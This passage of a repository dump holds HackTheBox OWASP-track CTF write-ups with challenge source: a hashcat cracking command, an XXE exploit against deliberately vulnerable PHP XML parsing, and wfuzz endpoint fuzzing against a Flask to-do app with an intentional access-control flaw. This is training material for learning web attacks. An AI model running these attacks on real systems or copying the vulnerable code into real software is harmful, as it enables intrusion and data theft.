[Sqlitebrowser](https://sqlitebrowser.org/), that allowed me to retrieve the following table: 37 | 38 | ![nginx-6](https://user-images.githubusercontent.com/87711310/211150239-de25c176-be33-489b-a795-1e9ae07c72f6.png) 39 | 40 | It is possible to see that the database contained some usernames and some hashed passwords. Moreover, it is possible to notice that the first user probably is the administrator of the web site. 41 | 42 | Once retrieved the hashes, I used [Hashid](https://psypanda.github.io/hashID/) in order to discover the algorithm used to generate them: 43 | 44 | ![nginx-7](https://user-images.githubusercontent.com/87711310/211150240-d92d8ab9-ca57-4eb1-9e45-6fea4064f7e0.png) 45 | 46 | It is possible to see that hasid suggested that the hashes were generated by using `MD2` or `MD5`. 47 | 48 | I used `Hashcat`, and in particular a `dictionary attack`, in order to crack the passwords. 49 | ``` 50 | hashcat -a 0 -m 0 crackme.txt /usr/share/seclists/Passwords/Leaked-Databases/md5decryptor-uk.txt -r /usr/share/hashcat/rules/best64.rule 51 | ``` 52 | 53 | I was able to crack only the password of the first user (the `admin` password). 54 | 55 | ![nginx-8](https://user-images.githubusercontent.com/87711310/211150242-6c01cf8c-dd1f-44af-8fe0-8eff564a0601.png) 56 | 57 | Having the admin email and the `admin` password, I was able to login in the web app again, with the admin’s credentials. Once logged in as the admin, the flag was displayed. 58 | 59 | ![nginx-9](https://user-images.githubusercontent.com/87711310/211150232-4269f3b4-b965-43c9-a125-a32e939b8acc.png) 60 | 61 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/Readme.md: -------------------------------------------------------------------------------- 1 | # Challenge Description 2 | Our WAFfles and ice scream are out of this world, come to our online WAFfles house and check out our super secure ordering system API! 3 | 4 | # Analysis 5 | To begin the challenge we visit the service IP and port provided on HTB. 6 | 7 | 8 | Checking the page title gives away the actual exploitation path. 9 | 10 | ![WAF-1](https://user-images.githubusercontent.com/87711310/211150841-0ac2c969-6ff8-40fc-a848-98fc7eb1341c.png) 11 | 12 | Now that we know the attack path we fire up `burpsuite` to intercept our order request. By making a post 13 | request we see that our request is sent via a `json` request to the `api/order` endpoint. 14 | 15 | Understanding what's happening here we check the `OrderController.php` provided by HTB. 16 | 17 | ```php 18 | food) 28 | return json_encode([ 29 | 'status' => 'danger', 30 | 'message' => 'You need to select a food option first' 31 | ]); 32 | return json_encode([ 33 | 'status' => 'success', 34 | 'message' => "Your {$order->food} order has been submitted successfully." 35 | ]); 36 | } 37 | else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml') 38 | { 39 | $order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT); 40 | if (!$order->food) return 'You need to select a food option first'; 41 | return "Your {$order->food} order has been submitted successfully."; 42 | } 43 | else 44 | { 45 | return $router->abort(400); 46 | } 47 | } 48 | } 49 | ``` 50 | 51 | So reviewing this code we see that we may either post to the API with `application/json` content type or we 52 | may submit a `application/xml` content type. This is useful to know since we can leverage `XML injections` with 53 | a specific XML formatted payload. By changing the content type in our `POST` request to `application/xml` and 54 | then submitting a XML based payload with `order` and `food` as our entities, we can render the contents of 55 | files within the system in our response. 56 | 57 | You can learn more about XXE from [here](https://portswigger.net/web-security/xxe). 58 | 59 | We can use the following code as a exploit for this exercise: 60 | ```xml 61 | 62 | ]> 63 | 64 | &xxe; 65 | 66 | ``` 67 | ![baby-WAFfle-order-1](https://user-images.githubusercontent.com/87711310/211150844-53dbef1b-d4cd-4452-beaf-adfab0562796.png) 68 | 69 | But we don't know where the flag is at this stage. Taking a wild guess and trying different places we can 70 | find the flag located at `/flag` and call this through our request to return the flag. 71 | 72 | ![baby-WAFfle-order-2](https://user-images.githubusercontent.com/87711310/211151014-29c15311-90e7-4187-8069-1fe413079bf4.png) 73 | 74 | And we have obtained the flag!!! 75 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:edge 2 | 3 | # Setup usr 4 | RUN adduser -D -u 1000 -g 1000 -s /bin/sh www 5 | 6 | # Install system packages 7 | RUN apk add --no-cache --update supervisor nginx php7-fpm 8 | 9 | # Install PHP dependencies 10 | RUN apk add --no-cache --update php7-fpm php7-xml php7-simplexml php7-json 11 | 12 | # Configure php-fpm and nginx 13 | COPY config/fpm.conf /etc/php7/php-fpm.d/www.conf 14 | COPY config/supervisord.conf /etc/supervisord.conf 15 | COPY config/nginx.conf /etc/nginx/nginx.conf 16 | 17 | # Copy challenge files 18 | COPY challenge /www 19 | 20 | COPY flag /flag 21 | 22 | # Setup permissions 23 | RUN chown -R www:www /var/lib/nginx 24 | 25 | # Expose the port nginx is listening on 26 | EXPOSE 80 27 | 28 | # Populate database and start supervisord 29 | CMD /usr/bin/supervisord -c /etc/supervisord.conf -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/Router.php: -------------------------------------------------------------------------------- 1 | $method, 10 | 'route' => $route, 11 | ]; 12 | 13 | if (is_callable($controller)) 14 | { 15 | $r['controller'] = $controller; 16 | $this->routes[] = $r; 17 | } 18 | else if (strpos($controller, '@')) 19 | { 20 | $split = explode('@', $controller); 21 | $class = $split[0]; 22 | $function = $split[1]; 23 | 24 | $r['controller'] = [ 25 | 'class' => $class, 26 | 'function' => $function 27 | ]; 28 | 29 | $this->routes[] = $r; 30 | } 31 | else 32 | { 33 | throw new Exception('Invalid controller'); 34 | } 35 | } 36 | 37 | public function match() 38 | { 39 | foreach($this->routes as $route) 40 | { 41 | if ($this->_match_route($route['route'])) 42 | { 43 | if ($route['method'] != $_SERVER['REQUEST_METHOD']) 44 | { 45 | $this->abort(405); 46 | } 47 | $params = $this->getRouteParameters($route['route']); 48 | 49 | if (is_array($route['controller'])) 50 | { 51 | $controller = $route['controller']; 52 | $class = $controller['class']; 53 | $function = $controller['function']; 54 | 55 | return (new $class)->$function($this,$params); 56 | } 57 | return $route['controller']($this,$params); 58 | } 59 | } 60 | 61 | $this->abort(404); 62 | } 63 | 64 | public function _match_route($route) 65 | { 66 | $uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?')); 67 | $route = explode('/', $route); 68 | 69 | if (count($uri) != count($route)) return false; 70 | 71 | foreach ($route as $key => $value) 72 | { 73 | if ($uri[$key] != $value && $value != '{param}') return false; 74 | } 75 | 76 | return true; 77 | } 78 | 79 | public function getRouteParameters($route) 80 | { 81 | $params = []; 82 | $uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?')); 83 | $route = explode('/', $route); 84 | 85 | foreach ($route as $key => $value) 86 | { 87 | if ($uri[$key] == $value) continue; 88 | if ($value == '{param}') 89 | { 90 | if ($uri[$key] == '') 91 | { 92 | $this->abort(404); 93 | } 94 | $params[] = $uri[$key]; 95 | } 96 | } 97 | 98 | return $params; 99 | } 100 | 101 | public function abort($code) 102 | { 103 | http_response_code($code); 104 | exit; 105 | } 106 | 107 | public function view($view, $data = []) 108 | { 109 | extract($data); 110 | include __DIR__."/views/${view}.php"; 111 | exit; 112 | } 113 | } -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/assets/css/main.css: -------------------------------------------------------------------------------- 1 | @import url('https://fonts.googleapis.com/css?family=Fredoka+One'); 2 | * { 3 | box-sizing: border-box; 4 | } 5 | 6 | html { 7 | font-family: 'Muli', sans-serif; 8 | background: #EAEAEA; 9 | color: #333; 10 | font-smoothing: antialiased; 11 | text-rendering: optimizeLegibility; 12 | } 13 | 14 | pre { 15 | font-size: 12px; 16 | padding: 10px; 17 | background: white; 18 | border: solid 1px #777; 19 | } 20 | 21 | table { 22 | border-collapse: collapse; 23 | border-spacing: 0px; 24 | border: 1px solid #666; 25 | } 26 | 27 | td, th { 28 | padding: 0.25rem .5rem; 29 | border: 1px solid #666; 30 | } 31 | 32 | :root { 33 | font-size: 12px; 34 | } 35 | 36 | @media (min-width: 400px) and (max-width: 800px) { 37 | :root { 38 | font-size: calc( 12px + (24 - 12) * ( (100vw - 400px) / ( 800 - 400) )); 39 | } 40 | } 41 | @media (min-width: 800px) { 42 | :root { 43 | font-size: 24px; 44 | } 45 | } 46 | body { 47 | background: url(https://s3-us-west-2.amazonaws.com/s.cdpn.io/159368/pattern-icecream.jpg); 48 | height: 100vh; 49 | font-family: 'Fredoka One', cursive; 50 | } 51 | 52 | h1 { 53 | font-size: 5em; 54 | -webkit-text-stroke: 1px black; 55 | color: white; 56 | text-align: center; 57 | text-shadow: 3px 3px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000; 58 | } 59 | 60 | .nav { 61 | margin: 0 auto; 62 | } 63 | 64 | .alert { 65 | margin-bottom: 0px !important; 66 | } -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/assets/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darshannn10/HackTheBox/4fc467fd893cc4ac71de8e0e991d71d67efb99a1/Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/assets/favicon.ico -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/assets/js/main.js: -------------------------------------------------------------------------------- 1 | const alerts = document.getElementById('alerts'); 2 | const food = food_selected => { 3 | document.getElementById('food').value = food_selected; 4 | document.getElementById('food_select').innerHTML = food_selected; 5 | }; 6 | 7 | const flash = (message, level) => { 8 | alerts.innerHTML = ` 9 | 13 | `; 14 | }; 15 | 16 | const bg = document.body; 17 | const mouseValues = { 18 | ox: 1, 19 | oy: 1 20 | }; 21 | 22 | const form = document.getElementsByTagName('form')[0]; 23 | 24 | form.addEventListener('submit', e => { 25 | e.preventDefault(); 26 | fetch('/api/order', { 27 | method: 'POST', 28 | headers: { 29 | 'Content-Type': 'application/json' 30 | }, 31 | body: JSON.stringify({ 32 | table_num: document.getElementById('table').value, 33 | food: document.getElementById('food').value 34 | }) 35 | }) 36 | .then(r => r.json()) 37 | .then(data => { 38 | flash(data.message, data.status); 39 | }); 40 | }); 41 | 42 | bg.addEventListener('mousemove', ev => { 43 | mouseValues.sw = window.innerWidth * 0.5; 44 | mouseValues.sh = window.innerHeight * 0.5; 45 | mouseValues.mx = ev.clientX; 46 | mouseValues.my = ev.clientY; 47 | mouseValues.ox = (Math.floor((mouseValues.sw - mouseValues.mx) / mouseValues.sw * 35) * -0.01).toFixed(2); 48 | mouseValues.oy = (Math.floor((mouseValues.sh - mouseValues.my) / mouseValues.sh * 35) * -0.01).toFixed(2); 49 | }); 50 | 51 | let x = 0; 52 | let y = 0; 53 | const ticker = new PIXI.ticker.Ticker(); 54 | ticker.stop(); 55 | ticker.add(() => { 56 | x = x - mouseValues.ox * 5; 57 | y = y - mouseValues.oy * 5; 58 | bg.style.backgroundPosition = x + 'px ' + y + 'px'; 59 | }); 60 | ticker.start(); -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t web_baby_waffles_order . 3 | docker run --rm -p1337:80 -it web_baby_waffles_order -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/config/fpm.conf: -------------------------------------------------------------------------------- 1 | [global] 2 | daemonize = no 3 | error_log = /dev/stderr 4 | log_level = notice 5 | 6 | [www] 7 | user = www 8 | group = www 9 | 10 | clear_env = On 11 | 12 | listen = /run/php-fpm.sock 13 | listen.owner = www 14 | listen.group = www 15 | 16 | pm = dynamic 17 | pm.max_children = 5 18 | pm.start_servers = 2 19 | pm.min_spare_servers = 1 20 | pm.max_spare_servers = 3 -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/config/nginx.conf: -------------------------------------------------------------------------------- 1 | user www; 2 | pid /run/nginx.pid; 3 | error_log /dev/stderr info; 4 | 5 | events { 6 | worker_connections 1024; 7 | } 8 | 9 | http { 10 | server_tokens off; 11 | log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" '; 12 | access_log /dev/stdout docker; 13 | 14 | charset utf-8; 15 | keepalive_timeout 20s; 16 | sendfile on; 17 | tcp_nopush on; 18 | client_max_body_size 1M; 19 | 20 | include /etc/nginx/mime.types; 21 | 22 | server { 23 | listen 80; 24 | server_name _; 25 | 26 | index index.php; 27 | root /www; 28 | 29 | location / { 30 | try_files $uri $uri/ /index.php?$query_string; 31 | location ~ \.php$ { 32 | try_files $uri =404; 33 | fastcgi_pass unix:/run/php-fpm.sock; 34 | fastcgi_index index.php; 35 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 36 | include fastcgi_params; 37 | } 38 | } 39 | } 40 | } -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/config/supervisord.conf: -------------------------------------------------------------------------------- 1 | [supervisord] 2 | user=root 3 | nodaemon=true 4 | logfile=/dev/null 5 | logfile_maxbytes=0 6 | pidfile=/run/supervisord.pid 7 | 8 | [program:fpm] 9 | command=php-fpm7 -F 10 | autostart=true 11 | priority=1000 12 | stdout_logfile=/dev/stdout 13 | stdout_logfile_maxbytes=0 14 | stderr_logfile=/dev/stderr 15 | stderr_logfile_maxbytes=0 16 | 17 | [program:nginx] 18 | command=nginx -g 'daemon off;' 19 | autostart=true 20 | stdout_logfile=/dev/stdout 21 | stdout_logfile_maxbytes=0 22 | stderr_logfile=/dev/stderr 23 | stderr_logfile_maxbytes=0 -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/controllers/OrderController.php: -------------------------------------------------------------------------------- 1 | food) 11 | return json_encode([ 12 | 'status' => 'danger', 13 | 'message' => 'You need to select a food option first' 14 | ]); 15 | return json_encode([ 16 | 'status' => 'success', 17 | 'message' => "Your {$order->food} order has been submitted successfully." 18 | ]); 19 | } 20 | else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml') 21 | { 22 | $order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT); 23 | if (!$order->food) return 'You need to select a food option first'; 24 | return "Your {$order->food} order has been submitted successfully."; 25 | } 26 | else 27 | { 28 | return $router->abort(400); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/flag: -------------------------------------------------------------------------------- 1 | HTB{f4k3_fl4g_f0r_t3st1ng} -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/index.php: -------------------------------------------------------------------------------- 1 | new('GET', '/', fn($router) => $router->view('menu')); 13 | $router->new('POST', '/api/order', 'OrderController@order'); 14 | 15 | die($router->match()); -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/5. baby WAFfles order/baby WAFfles order/views/menu.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | xxe 5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 32 |
33 |

I scream for Ice Cream and WAFfles. We are butter together.

34 |
35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/Readme.md: -------------------------------------------------------------------------------- 1 | # Challenge Description 2 | I'm so done with these bloody HR solutions coming from those bloody HR specialists, I don't need anyone monitoring my thoughts, or do I... ? 3 | 4 | ## Analysis 5 | - __Browsing the Website__ 6 | Browsing the website, we come to a conclusion that there doesn’t seem to be a whole lot of functionality packed into this application. It looks like a simple ‘to-do list’ that allows you to add and delete tasks. If we take a moment to do some critical thinking we conclude that there must be some mechanism in the background that is enabling the application to keep track of each ‘to-do list’ on a per client basis. This suspicion is confirmed if we browse the website from another browser or private window because we are presented with a fresh ‘to-do list’ every time. Our next step is to take a look at the web page source in our browser to see if we can glean more information about the page. 7 | 8 | ![btd-1](https://user-images.githubusercontent.com/87711310/211152082-c4a922d8-7245-4a8d-b407-fb31044edb2c.png) 9 | 10 | ![btd-2](https://user-images.githubusercontent.com/87711310/211152083-c60819c7-bd93-4205-887f-27ec311e69df.png) 11 | 12 | Looking at the page source, we find a script that contains the following code: 13 | ``` javascript 14 | // don't use getstatus('all') until we get the verify_integrity() patched 15 | const update = () => getTasks('user4f375000') 16 | update() 17 | setInterval(update, 3000) 18 | ``` 19 | 20 | - __Command breakdown__ 21 | 22 | 1. The first line defines an update function that will get the tasks for the specified user, which we can assume is a randomly generated user name for each client that connects to the web page. We can confirm this by connecting to the page from another browser or private window and view the user value defined in this script. 23 | ```javascript 24 | const update = () => getTasks('user4f375000') 25 | ``` 26 | 27 | 2. The second line calls the update function previously defined. Once this function is called it will retrieve all the tasks for the defined user. 28 | ``` 29 | update() 30 | ``` 31 | 32 | 3. The last line will define an update interval. In this case, the update function will be called every 3 seconds (3000 milliseconds). 33 | ```javascript 34 | setInterval(update, 3000) 35 | ``` 36 | 37 | The comment at the beginning of the script is quite interesting. It seems to imply that there is a vulnerability in the `verify_integrity()` function that will allow a user to retrieve more information than they should be allowed to. For now, we will keep that comment in the back of our mind and explore the `main.js` script to understand the inner workings of the `getTasks()` function. 38 | 39 | Looking at the source of this function, we can confirm that ‘getTasks’ is making a request to the API at ‘/api/list/${endpoint}/’ to retrieve our tasks. The request also passes a secret which is used to verify the integrity of the request. 40 | ```javascript 41 | ... 42 | const getTasks = endpoint => { 43 | fetch(`/api/list/${endpoint}/?secret=${secret}`).then(res => { 44 | if (res.ok) { 45 | res.json().then(data => { 46 | ul.innerHTML = '' 47 | data.map(task => { 48 | create_list(task) 49 | }) 50 | }) 51 | } else { 52 | window.location.reload(true) 53 | } 54 | }) 55 | } 56 | ... 57 | ``` 58 | 59 | ## Solution 60 | Let’s spin up Burp Suite and capture the update request that happens every 3 seconds. 61 | 62 | If we dig through our memory and think about the `getTasks` function for one moment we remember the following notation. 63 | ```javascript 64 | fetch(`/api/list/${endpoint}/?secret=${secret}`) 65 | ``` 66 | The `${endpoint}` portion of the URL seems to imply that there are other endpoints that can be used. This is similar to the end of the request where we know the `${secret}` portion means that the secret will change per user. Why not guess and see what other endpoints are available? `Wfuzz` is the perfect tool for this because we can guess the `${endpoint}` portion of the request (while leaving everything else in the request the same) to see if there are any other endpoints that we can access with our secret. When we intercepted our request in `Burp Suite` we noticed that there was a cookie bundled with the request. We should make sure to include that `cookie` when we make a request with `Wfuzz`. 67 | 68 | ``` 69 | wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt -u http://:/api/list/FUZZ/?secret=d0daC83Aa4B4719 -H "Cookie: session=" --hh 24 70 | ``` 71 | 72 | > Command breakdown: 73 | 74 | - A wordlist of common API names from SecLists to use for guessing. 75 | ``` 76 | -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt 77 | ``` 78 | - The URL we want to use for our requests. The ‘FUZZ’ portion of the URL will be replaced with the API names from the wordlist we chose. We include our secret just like the request we captured from burp. 79 | ``` 80 | -u http://206.189.113.236:32119/api/list/FUZZ/?secret=d0daC83Aa4B4719 81 | ``` 82 | - We need to add our cookie to ensure the webserver doesn’t deny our requests. 83 | ``` 84 | -H "Cookie: session=eyJhdXRoZW50aWNhdGlvbiI6InVzZXJBRWViMTE2RiJ9.YUuLGg.8hb4Rle7WzIlDcAQzwrJKgVauzY" 85 | ``` 86 | - A normal failed response contains 24 characters. We can verify this by omitting the –hh flag the first time we run the command. We will see that every failed request has 24 characters. This flag will hide every request that contains 24 characters in the response. Alternatively, we could have hidden every response that returned an HTTP status code 403 (not allowed/forbidden) with the –hc flag. By eliminating all of the failed API requests we are left only with endpoints we can successfully access. 87 | ``` 88 | --hh 24 89 | ``` 90 | 91 | Looking at the results we see two endpoints available to us. 92 | 93 | Adding the `/all` to the Burp request we captured previously reveals all the notes stoored by us as well as all the other users who might have saved the some notes (including the `flag` which we are looking for) 94 | 95 | Sending the request, we see that all the notes are displayed in the `response` tab along with the `flag`. 96 | 97 | ![baby-td-1](https://user-images.githubusercontent.com/87711310/211152516-c24d8d5d-f793-4dc9-a7c5-890bcb7ed670.png) 98 | -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | # Install packages 4 | RUN apk add --update --no-cache chromium chromium-chromedriver supervisor 5 | 6 | # Upgrade pip 7 | RUN python -m pip install --upgrade pip 8 | 9 | # Install Dependencies 10 | RUN pip install Flask selenium 11 | 12 | # Setup app 13 | RUN mkdir -p /app 14 | 15 | # Add application 16 | WORKDIR /app 17 | COPY challenge . 18 | 19 | # Setup supervisor 20 | COPY config/supervisord.conf /etc/supervisord.conf 21 | 22 | # Expose the port the application is reachable on 23 | EXPOSE 1337 24 | 25 | # Run supervisord 26 | CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"] -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/build-docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker rm -f web_todo_or_not_todo 3 | docker build --tag=web_todo_or_not_todo . 4 | docker run -p 1337:1337 --restart=on-failure --name=web_todo_or_not_todo web_todo_or_not_todo -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, session, g 2 | from flask.json import JSONEncoder 3 | from application.blueprints.routes import main, api 4 | from application.util import generate 5 | from application.database import get_db 6 | from application.models import todo 7 | import time 8 | 9 | class toJSON(JSONEncoder): 10 | def default(self, obj): 11 | if isinstance(obj, todo): 12 | return { 13 | 'id' : obj.id, 14 | 'name' : obj.name, 15 | 'assignee': obj.assignee, 16 | 'done' : obj.done 17 | } 18 | return super(toJSON, self).default(obj) 19 | 20 | class HTB(Flask): 21 | def process_response(self, response): 22 | response.headers['Server'] = 'made with <3 by makelarides' 23 | super(HTB, self).process_response(response) 24 | return response 25 | 26 | app = HTB(__name__) 27 | app.config.from_object('application.config.Config') 28 | app.json_encoder = toJSON 29 | 30 | app.register_blueprint(main, url_prefix='/') 31 | app.register_blueprint(api, url_prefix='/api') 32 | 33 | @app.before_first_request 34 | def wake_bots(): 35 | with app.open_resource('schema.sql', mode='r') as f: 36 | get_db().cursor().executescript(f.read() % (generate(15))) 37 | time.sleep(0.2) 38 | 39 | @app.before_request 40 | def is_authenticated(): 41 | g.user = session.get('authentication') 42 | if not g.user: 43 | username = f'user{generate(8)}' 44 | todo.create_user(username, generate(15)) 45 | g.user = session['authentication'] = username 46 | 47 | 48 | @app.teardown_appcontext 49 | def close_connection(exception): 50 | db = getattr(g, '_database', None) 51 | if db is not None: db.close() 52 | 53 | @app.errorhandler(404) 54 | def not_found(error): 55 | return {'error': 'Not Found'}, 404 56 | 57 | @app.errorhandler(403) 58 | def forbidden(error): 59 | return {'error': 'Not Allowed'}, 403 60 | 61 | @app.errorhandler(400) 62 | def bad_request(error): 63 | return {'error': 'Bad Request'}, 400 -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/blueprints/routes.py: -------------------------------------------------------------------------------- 1 | from flask import Blueprint, request, jsonify, session, render_template, g 2 | from application.util import verify_integrity 3 | from application.models import todo 4 | 5 | main = Blueprint('main', __name__) 6 | api = Blueprint('api', __name__) 7 | 8 | @main.route('/') 9 | def index(): 10 | context = { 11 | 'list_access': g.user, 12 | 'secret': todo.get_secret_from(g.user) 13 | } 14 | return render_template('index.html', **context) 15 | 16 | @api.before_request 17 | @verify_integrity 18 | def and_then(): pass 19 | 20 | # TODO: There are not view arguments involved, I hope this doesn't break 21 | # the authentication control on the verify_integrity() decorator 22 | @api.route('/list/all/') 23 | def list_all(): 24 | return jsonify(todo.get_all()) 25 | 26 | @api.route('/list//') 27 | def list_tasks(assignee): 28 | return jsonify(todo.get_by_user(assignee)) 29 | 30 | @api.route('/add/', methods=['POST']) 31 | def add(): 32 | todo.add(g.name, g.user) 33 | return {'success': f'Successfuly added {g.name} by user {g.user}'} 34 | 35 | @api.route('/rename///') 36 | def rename_task(todo_id, new_name): 37 | g.selected.rename(new_name) 38 | return {'success': f'Successfuly edited {todo_id} to {new_name}'} 39 | 40 | @api.route('/delete//', methods=['DELETE']) 41 | def delete(todo_id): 42 | g.selected.delete() 43 | return {'success': f'Successfuly deleted {todo_id}'} 44 | 45 | @api.route('/complete//') 46 | def complete(todo_id): 47 | g.selected.complete() 48 | return {'success': f'Successfuly completed {todo_id}'} 49 | 50 | @api.route('/assign///') 51 | def assign(todo_id, new_assignee): 52 | g.selected.reassign(new_assignee) 53 | return {'success': f'Successfuly reassigned {todo_id} to {new_assignee}'} -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/config.py: -------------------------------------------------------------------------------- 1 | from application.util import generate 2 | 3 | class Config(object): 4 | SESSION_COOKIE_HTTPONLY = True 5 | SESSION_COOKIE_SAMESITE = 'Strict' 6 | SECRET_KEY = generate(50) 7 | 8 | class ProductionConfig(Config): 9 | pass 10 | 11 | class DevelopmentConfig(Config): 12 | DEBUG = True 13 | 14 | class TestingConfig(Config): 15 | TESTING = True -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/database.py: -------------------------------------------------------------------------------- 1 | from flask import g 2 | from application import app 3 | from sqlite3 import dbapi2 as sqlite3 4 | 5 | def connect_db(): 6 | return sqlite3.connect('todo.db', isolation_level=None) 7 | 8 | def get_db(): 9 | db = getattr(g, '_database', None) 10 | if db is None: 11 | db = g._database = connect_db() 12 | db.row_factory = sqlite3.Row 13 | return db 14 | 15 | def query_db(query, args=(), one=False): 16 | with app.app.app_context(): 17 | cur = get_db().execute(query, args) 18 | rv = [dict((cur.description[idx][0], value) \ 19 | for idx, value in enumerate(row)) for row in cur.fetchall()] 20 | return (rv[0] if rv else None) if one else rv -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/models.py: -------------------------------------------------------------------------------- 1 | from application.database import query_db 2 | 3 | class todo(object): 4 | def __init__(self, id, name, assignee, done=int(0)): 5 | self.name = name 6 | self.id = id 7 | self.assignee = assignee 8 | self.done = done 9 | 10 | def __str__(self): 11 | return f'({self.id}, {self.name}, {self.assignee}, {self.done})' 12 | 13 | def asdict(self): 14 | return { 15 | 'name': self.name, 16 | 'id': self.id, 17 | 'assignee': self.assignee, 18 | 'done': self.done 19 | } 20 | 21 | 22 | def __iter__(self): 23 | return iter(self.__dict__.items()) 24 | 25 | @staticmethod 26 | def get_bot_password(): 27 | return query_db('SELECT password FROM bot', one=True)['password'] 28 | 29 | @staticmethod 30 | def check_bot(password): 31 | return query_db('SELECT * FROM bot WHERE password=?', (password,), one=True) 32 | 33 | @staticmethod 34 | def create_user(name, secret): 35 | return query_db('INSERT INTO users (name, secret) VALUES (?, ?)', (name, secret)) 36 | 37 | @staticmethod 38 | def get_secret_from(name): 39 | from flask import session 40 | try: 41 | return query_db('SELECT secret FROM users WHERE name=?', (name,), one=True)['secret'] 42 | except: 43 | session.clear() 44 | pass 45 | 46 | @staticmethod 47 | def verify_secret(name, secret): 48 | return query_db('SELECT secret FROM users WHERE name=?', (name), one=True) == secret 49 | 50 | @staticmethod 51 | def add(name, assignee): 52 | return query_db('INSERT INTO todos (name, assignee, done) VALUES (?, ?, ?)', (name, assignee, int(0))) 53 | 54 | def complete(self): 55 | self.done = not self.done 56 | return query_db('UPDATE todos SET done=? WHERE id=?', (int(self.done), self.id)) 57 | 58 | def delete(self): 59 | return query_db('DELETE FROM todos WHERE id=?', (self.id,)) 60 | 61 | def reassign(self, new_assignee): 62 | return query_db('UPDATE todos SET assignee=? WHERE id=?', (new_assignee, self.id)) 63 | 64 | def rename(self, new_name): 65 | return query_db('UPDATE todos SET name=? WHERE id=?', (new_name, self.id)) 66 | 67 | @classmethod 68 | def get_all(cls): 69 | cls.todo = [] 70 | for task in query_db('SELECT * FROM todos'): 71 | cls.todo.append(todo(task['id'], task['name'], task['assignee'], bool(task['done']))) 72 | return cls.todo 73 | 74 | @classmethod 75 | def get_by_id(cls, todo_id): 76 | task = query_db('SELECT * FROM todos WHERE id=?', (todo_id,), one=True) 77 | if task is not None: 78 | return todo(task['id'], task['name'], task['assignee'], task['done']) 79 | return [] 80 | 81 | @classmethod 82 | def get_by_user(cls, assignee): 83 | cls.todo = [] 84 | for task in query_db('SELECT * FROM todos WHERE assignee=?', (assignee,)): 85 | cls.todo.append(todo(task['id'], task['name'], task['assignee'], bool(task['done']))) 86 | return cls.todo -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/schema.sql: -------------------------------------------------------------------------------- 1 | DROP TABLE IF EXISTS `users`; 2 | DROP TABLE IF EXISTS `todos`; 3 | 4 | CREATE TABLE `users` ( 5 | `id` INTEGER PRIMARY KEY AUTOINCREMENT, 6 | `name` TEXT NOT NULL, 7 | `secret` TEXT NOT NULL 8 | ); 9 | 10 | INSERT INTO `users` (`name`, `secret`) VALUES 11 | ('admin', '%s'); 12 | 13 | CREATE TABLE `todos` ( 14 | `id` INTEGER PRIMARY KEY AUTOINCREMENT, 15 | `name` TEXT NOT NULL, 16 | `done` INTEGER NOT NULL, 17 | `assignee` TEXT NOT NULL 18 | ); 19 | 20 | INSERT INTO `todos` (`name`, `done`, `assignee`) VALUES 21 | ('HTB{f4k3_fl4g_f0r_t3st1ng}', 0, 'admin'); -------------------------------------------------------------------------------- /Tracks/OWASP Top 10/6. baby todo or not todo/baby todo or not todo/challenge/application/static/checklist.png: -------------------------------------------------------------------------------- 